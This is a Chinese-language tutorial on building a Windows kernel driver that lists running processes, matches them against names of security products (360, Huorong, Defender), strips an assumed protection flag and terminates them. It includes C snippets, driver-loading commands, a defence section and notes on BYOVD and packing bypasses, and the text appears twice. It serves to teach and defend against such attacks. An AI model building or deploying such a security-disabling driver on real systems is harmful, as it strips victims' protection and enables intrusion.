利用内核驱动实现安全软件进程终止技术研究
字数 3633 2025-09-23 19:27:46

利用内核驱动终止安全软件进程技术教学文档

1. 前言与概述

本文档详细阐述如何编写一个Windows内核模式驱动程序(Kernel-Mode Driver),利用其高权限(Ring 0)来识别并终止常见的安全软件(如360、火绒、Windows Defender)进程。该技术通过直接调用内核原生API,绕过用户层防护,实现对受保护进程的强制终止。

核心要点:

  • 权限优势: 内核驱动运行在系统最高权限级别,不受用户层钩子和监控的限制。
  • 技术核心: 通过驱动获取目标进程句柄,修改其内核结构属性,最终调用系统函数终止它。
  • 参考项目: 本文内容基于对开源项目 NY-TASKKILLgmer64.sys 驱动等资源的分析。

开发环境准备:

  1. WDK (Windows Driver Kit): 用于驱动开发的官方工具包。
  2. Visual Studio: 推荐使用支持WDK的版本。
  3. 测试模式: 必须在Windows中开启测试签名模式,否则无法加载未经数字签名的驱动。
    • 命令:bcdedit /set testsigning on
    • (注意:强烈建议在虚拟机中进行所有测试!)

基础驱动开发流程(以KMDF为例):

  1. 在VS中创建新的Kernel Mode Driver, Empty (KMDF)项目。
  2. 编写驱动入口点(DriverEntry)代码。
  3. 解决编译问题: 确保在链接器(Linker)的附加选项(Additional Options)中添加 /integritycheck 参数。
  4. 编译生成 .sys 文件。
  5. .sys 文件复制到 C:\Windows\System32\drivers\ 目录下。
  6. 使用 sc 命令创建和启动服务:
    • sc create MyDriver binPath= "C:\Windows\System32\drivers\MyDriver.sys" type= kernel
    • sc start MyDriver

2. 核心数据结构与API详解

2.1 CLIENT_ID

typedef struct _CLIENT_ID {
  HANDLE UniqueProcess; // 目标进程的PID(内核中以句柄形式使用)
  HANDLE UniqueThread;  // 目标线程的TID(通常设为0,表示不指定线程)
} CLIENT_ID, *PCLIENT_ID;

作用: 在内核中唯一标识一个进程(或进程+线程组合)。是 ZwOpenProcess 等函数定位目标进程的关键参数。
注意: 内核态直接使用 HANDLE 操作PID,与用户态常用的 DWORD 类型不同,体现了对象引用的语义。

2.2 OBJECT_ATTRIBUTES

typedef struct _OBJECT_ATTRIBUTES {
  ULONG           Length;
  HANDLE          RootDirectory;
  PUNICODE_STRING ObjectName;
  ULONG           Attributes;
  PVOID           SecurityDescriptor;
  PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

关键参数:

  • Attributes: 设置为 OBJ_KERNEL_HANDLE。这表示创建的句柄仅在内核模式可见,防止该句柄被用户态程序恶意利用,增强安全性。
  • SecurityDescriptor: 通常设为 NULL,使用默认的安全设置。
    作用: 描述如何创建和打开内核对象(如进程、文件),指定其安全属性。

2.3 关键内核API函数

函数前缀 所属模块 核心作用与常见函数举例
Zw Native API (内核态入口) 内核模式下直接访问系统服务,避免模式切换开销。ZwTerminateProcess (终止进程), ZwOpenProcess (打开进程), ZwQuerySystemInformation (查询系统信息)
Ps 进程/线程管理 进程/线程的创建、销毁、状态控制及事件监控。PsGetProcessId (获取进程ID), PsSetCreateProcessNotifyRoutine (注册进程创建回调)
Ob 对象管理器 (Object Manager) 管理内核对象的生命周期和安全访问。ObReferenceObjectByHandle (通过句柄获取对象指针并增加引用计数), ObDereferenceObject (减少引用计数)
Ke 内核核心层 线程调度、中断管理、同步。KeStackAttachProcess (将线程附加到目标进程地址空间), KeUnstackDetachProcess (解除附加)
Io I/O 子系统 设备驱动与I/O操作的核心交互。IoCreateDevice, IoDeleteSymbolicLink

3. 技术实现原理与步骤分析

3.1 识别目标进程 (IsInEdrList函数)

逻辑: 驱动内部维护一个预定义的安全软件进程名称关键词列表(例如:360safe.exe, hipsmain.exe (火绒), MsMpEng.exe (Defender))。
方法: 通过遍历系统进程列表(通常使用 ZwQuerySystemInformation 配合 SystemProcessInformation 信息类),将每个运行的进程名与黑名单关键词进行匹配,从而识别出需要终止的目标进程PID。

3.2 进程终止核心逻辑 (TerminateProcessByPid函数)

这是驱动最核心的功能函数,其步骤如下:

  1. 打开目标进程:

    // 初始化 CLIENT_ID 和 OBJECT_ATTRIBUTES
    CLIENT_ID clientId = { (HANDLE)targetPid, 0 };
    OBJECT_ATTRIBUTES objAttr = { sizeof(objAttr), 0, 0, OBJ_KERNEL_HANDLE };
    
    // 以足够的权限(如 PROCESS_TERMINATE | PROCESS_QUERY_INFORMATION)打开进程
    HANDLE hProcess;
    NTSTATUS status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &objAttr, &clientId);
    if (!NT_SUCCESS(status)) {
        // 处理打开失败
        return;
    }
    

    关键点: 权限参数必须包含 PROCESS_TERMINATE,仅用 PROCESS_QUERY_INFORMATION 无法终止。

  2. 获取进程对象 (PEPROCESS):

    PEPROCESS pEprocess;
    status = ObReferenceObjectByHandle(hProcess, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &pEprocess, NULL);
    if (!NT_SUCCESS(status)) {
        ZwClose(hProcess);
        return;
    }
    

    关键点: ObReferenceObjectByHandle 将句柄转换为可操作的内核对象指针,并增加其引用计数,操作完后必须用 ObDereferenceObject 减少计数,防止内存泄漏。

  3. (可选)修改进程标志位 - 解除保护:

    // 逆向经验表明,某些保护标志位可能为 0x2000
    pEprocess->Flags &= ~0x2000u; // 清除特定保护标志位
    

    原理: PEPROCESS 是内核中描述进程的核心结构体。某些安全软件会设置进程的保护标志(如 PS_PROTECTED_PROCESS 的相关位),使其无法被终止。直接修改内核中的这些标志可以解除保护。
    注意: 此操作高度依赖于Windows内核版本和结构定义,需要逆向分析或微软的符号信息,不同系统版本可能偏移不同。

  4. 附加到目标进程上下文(如需访问进程内存):

    KAPC_STATE apcState;
    KeStackAttachProcess(pEprocess, &apcState);
    // ... 在此处操作目标进程的内存 ...
    KeUnstackDetachProcess(&apcState);
    

    原理: Windows通过地址空间隔离进程。KeStackAttachProcess 将当前内核线程切换到目标进程的地址空间(通过切换CR3寄存器),使其能直接读写目标进程的内存。操作完毕后必须调用 KeUnstackDetachProcess 恢复。

  5. 终止进程:

    status = ZwTerminateProcess(hProcess, STATUS_SUCCESS);
    
  6. 清理资源:

    ObDereferenceObject(pEprocess); // 减少PEPROCESS对象的引用计数
    ZwClose(hProcess);              // 关闭进程句柄
    

4. 对抗与防御视角

4.1 如何防御此类驱动攻击?

  1. 驱动签名强制(DSE): 启用并严格执行驱动签名强制(Driver Signature Enforcement),阻止加载未经验证签名的驱动。
  2. 内核补丁保护(PatchGuard): 现代Windows系统的PatchGuard会检测和阻止对关键内核结构(如 PEPROCESS->Flags)的恶意修改,并引发蓝屏(BSOD)。
  3. 进程自我保护: 安全软件驱动可以注册 ObRegisterCallbacks 来监控进程句柄的打开操作。如果发现恶意驱动以 PROCESS_TERMINATE 权限打开自身进程,可以拒绝该操作。
  4. 监控驱动加载: 安全软件可监控系统的驱动加载情况,对可疑的、未知的驱动进行告警或拦截。

4.2 攻击者的进阶绕过技术

  1. 利用合法签名驱动: 寻找存在漏洞或功能滥用的、带有合法厂商签名的驱动(类似 gmer64.sys 的例子),利用其提供的功能来实现终止操作。这种称为“自带驱动(BYOVD - Bring Your Own Vulnerable Driver)”攻击。
  2. 驱动加壳/混淆: 对恶意驱动进行加壳(如使用VMP对驱动代码加密)以绕过静态签名检测和逆向分析。
  3. 更底层的内存操作: 在极端情况下,可能通过直接物理内存映射(MDL)等复杂手段绕过PatchGuard的检测(难度极大且极不稳定)。

5. 总结与免责声明

技术总结:
本技术通过编写内核驱动,利用 ZwOpenProcessZwTerminateProcess 等原生API,结合对内核对象结构的直接操作,实现了对受保护进程的强制终止。其核心在于内核态(Ring 0)的权限优势和对Windows内核机制的深刻理解。

重要免责声明:

  • 本文仅用于安全技术研究和教学目的,旨在帮助防御者了解攻击原理,从而构建更坚固的防御体系。
  • 严禁将此类技术用于任何非法入侵、破坏他人计算机系统等违法犯罪活动。
  • 内核开发极其危险,错误的代码可能导致系统瞬间蓝屏(BSOD)乃至数据损坏。 所有实验必须在隔离的虚拟机环境中进行。
  • 绕过安全防护机制可能违反软件的使用条款。
利用内核驱动终止安全软件进程技术教学文档 1. 前言与概述 本文档详细阐述如何编写一个Windows内核模式驱动程序(Kernel-Mode Driver),利用其高权限(Ring 0)来识别并终止常见的安全软件(如360、火绒、Windows Defender)进程。该技术通过直接调用内核原生API,绕过用户层防护,实现对受保护进程的强制终止。 核心要点: 权限优势: 内核驱动运行在系统最高权限级别,不受用户层钩子和监控的限制。 技术核心: 通过驱动获取目标进程句柄,修改其内核结构属性,最终调用系统函数终止它。 参考项目: 本文内容基于对开源项目 NY-TASKKILL 和 gmer64.sys 驱动等资源的分析。 开发环境准备: WDK (Windows Driver Kit): 用于驱动开发的官方工具包。 Visual Studio: 推荐使用支持WDK的版本。 测试模式: 必须在Windows中开启测试签名模式,否则无法加载未经数字签名的驱动。 命令: bcdedit /set testsigning on (注意:强烈建议在虚拟机中进行所有测试!) 基础驱动开发流程(以KMDF为例): 在VS中创建新的Kernel Mode Driver, Empty (KMDF)项目。 编写驱动入口点( DriverEntry )代码。 解决编译问题: 确保在链接器(Linker)的附加选项(Additional Options)中添加 /integritycheck 参数。 编译生成 .sys 文件。 将 .sys 文件复制到 C:\Windows\System32\drivers\ 目录下。 使用 sc 命令创建和启动服务: sc create MyDriver binPath= "C:\Windows\System32\drivers\MyDriver.sys" type= kernel sc start MyDriver 2. 核心数据结构与API详解 2.1 CLIENT_ ID 作用: 在内核中唯一标识一个进程(或进程+线程组合)。是 ZwOpenProcess 等函数定位目标进程的关键参数。 注意: 内核态直接使用 HANDLE 操作PID,与用户态常用的 DWORD 类型不同,体现了对象引用的语义。 2.2 OBJECT_ ATTRIBUTES 关键参数: Attributes : 设置为 OBJ_KERNEL_HANDLE 。这表示创建的句柄仅在内核模式可见,防止该句柄被用户态程序恶意利用,增强安全性。 SecurityDescriptor : 通常设为 NULL ,使用默认的安全设置。 作用: 描述如何创建和打开内核对象(如进程、文件),指定其安全属性。 2.3 关键内核API函数 | 函数前缀 | 所属模块 | 核心作用与常见函数举例 | | :--- | :--- | :--- | | Zw | Native API (内核态入口) | 内核模式下直接访问系统服务,避免模式切换开销。 ZwTerminateProcess (终止进程), ZwOpenProcess (打开进程), ZwQuerySystemInformation (查询系统信息) | | Ps | 进程/线程管理 | 进程/线程的创建、销毁、状态控制及事件监控。 PsGetProcessId (获取进程ID), PsSetCreateProcessNotifyRoutine (注册进程创建回调) | | Ob | 对象管理器 (Object Manager) | 管理内核对象的生命周期和安全访问。 ObReferenceObjectByHandle (通过句柄获取对象指针并增加引用计数), ObDereferenceObject (减少引用计数) | | Ke | 内核核心层 | 线程调度、中断管理、同步。 KeStackAttachProcess (将线程附加到目标进程地址空间), KeUnstackDetachProcess (解除附加) | | Io | I/O 子系统 | 设备驱动与I/O操作的核心交互。 IoCreateDevice , IoDeleteSymbolicLink | 3. 技术实现原理与步骤分析 3.1 识别目标进程 (IsInEdrList函数) 逻辑: 驱动内部维护一个预定义的安全软件进程名称关键词列表(例如: 360safe.exe , hipsmain.exe (火绒), MsMpEng.exe (Defender))。 方法: 通过遍历系统进程列表(通常使用 ZwQuerySystemInformation 配合 SystemProcessInformation 信息类),将每个运行的进程名与黑名单关键词进行匹配,从而识别出需要终止的目标进程PID。 3.2 进程终止核心逻辑 (TerminateProcessByPid函数) 这是驱动最核心的功能函数,其步骤如下: 打开目标进程: 关键点: 权限参数必须包含 PROCESS_TERMINATE ,仅用 PROCESS_QUERY_INFORMATION 无法终止。 获取进程对象 (PEPROCESS): 关键点: ObReferenceObjectByHandle 将句柄转换为可操作的内核对象指针,并增加其引用计数,操作完后必须用 ObDereferenceObject 减少计数,防止内存泄漏。 (可选)修改进程标志位 - 解除保护: 原理: PEPROCESS 是内核中描述进程的核心结构体。某些安全软件会设置进程的保护标志(如 PS_PROTECTED_PROCESS 的相关位),使其无法被终止。直接修改内核中的这些标志可以解除保护。 注意: 此操作高度依赖于Windows内核版本和结构定义,需要逆向分析或微软的符号信息,不同系统版本可能偏移不同。 附加到目标进程上下文(如需访问进程内存): 原理: Windows通过地址空间隔离进程。 KeStackAttachProcess 将当前内核线程切换到目标进程的地址空间(通过切换CR3寄存器),使其能直接读写目标进程的内存。操作完毕后 必须 调用 KeUnstackDetachProcess 恢复。 终止进程: 清理资源: 4. 对抗与防御视角 4.1 如何防御此类驱动攻击? 驱动签名强制(DSE): 启用并严格执行驱动签名强制(Driver Signature Enforcement),阻止加载未经验证签名的驱动。 内核补丁保护(PatchGuard): 现代Windows系统的PatchGuard会检测和阻止对关键内核结构(如 PEPROCESS->Flags )的恶意修改,并引发蓝屏(BSOD)。 进程自我保护: 安全软件驱动可以注册 ObRegisterCallbacks 来监控进程句柄的打开操作。如果发现恶意驱动以 PROCESS_TERMINATE 权限打开自身进程,可以拒绝该操作。 监控驱动加载: 安全软件可监控系统的驱动加载情况,对可疑的、未知的驱动进行告警或拦截。 4.2 攻击者的进阶绕过技术 利用合法签名驱动: 寻找存在漏洞或功能滥用的、带有合法厂商签名的驱动(类似 gmer64.sys 的例子),利用其提供的功能来实现终止操作。这种称为“自带驱动(BYOVD - Bring Your Own Vulnerable Driver)”攻击。 驱动加壳/混淆: 对恶意驱动进行加壳(如使用VMP对驱动代码加密)以绕过静态签名检测和逆向分析。 更底层的内存操作: 在极端情况下,可能通过直接物理内存映射(MDL)等复杂手段绕过PatchGuard的检测(难度极大且极不稳定)。 5. 总结与免责声明 技术总结: 本技术通过编写内核驱动,利用 ZwOpenProcess 和 ZwTerminateProcess 等原生API,结合对内核对象结构的直接操作,实现了对受保护进程的强制终止。其核心在于内核态(Ring 0)的权限优势和对Windows内核机制的深刻理解。 重要免责声明: 本文仅用于安全技术研究和教学目的,旨在帮助防御者了解攻击原理,从而构建更坚固的防御体系。 严禁将此类技术用于任何非法入侵、破坏他人计算机系统等违法犯罪活动。 内核开发极其危险,错误的代码可能导致系统瞬间蓝屏(BSOD)乃至数据损坏。 所有实验必须在隔离的虚拟机环境中进行。 绕过安全防护机制可能违反软件的使用条款。